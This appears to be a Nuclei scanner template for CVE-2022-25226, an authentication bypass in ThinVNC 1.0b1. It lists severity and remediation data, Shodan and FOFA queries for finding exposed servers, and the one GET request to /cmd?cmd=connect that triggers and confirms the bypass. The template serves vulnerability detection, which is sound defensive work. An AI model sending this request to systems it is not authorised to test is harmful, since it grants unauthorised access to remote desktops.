id: CVE-2022-25226

info:
  name: ThinVNC - Authentication Bypass
  author: ritikchaddha
  severity: critical
  description: |
    ThinVNC version 1.0b1 allows an unauthenticated user to bypass the authentication process via a specific command, potentially leading to unauthorized access and code execution.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the ThinVNC server.
  remediation: |
    Apply the vendor-supplied patch or update to the latest version to mitigate the CVE-2022-25226 vulnerability.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2022-25226
    epss-score: 0.81886
    epss-percentile: 0.99219
    cpe: cpe:2.3:a:cybelsoft:thinvnc:1.0:b1:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: cybelsoft
    product: thinvnc
    shodan-query: http.favicon.hash:-1414548363
    fofa-query: icon_hash="571240285"
  tags: cve,cve2022,thinvnc,auth-bypass,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cmd?cmd=connect"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'cmd":"connectStatus'
          - 'authStatus":1'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450220372b8df10aea591ce122a7ab7a163d0ced99fa2a6ba83e1534a7fd00e9f11c3e022100e0fc368ea211167aaaa46cf6a31ef6711bff9a9d6940b675075d215651d2c552:922c64590222798bb761d5b6d8e72950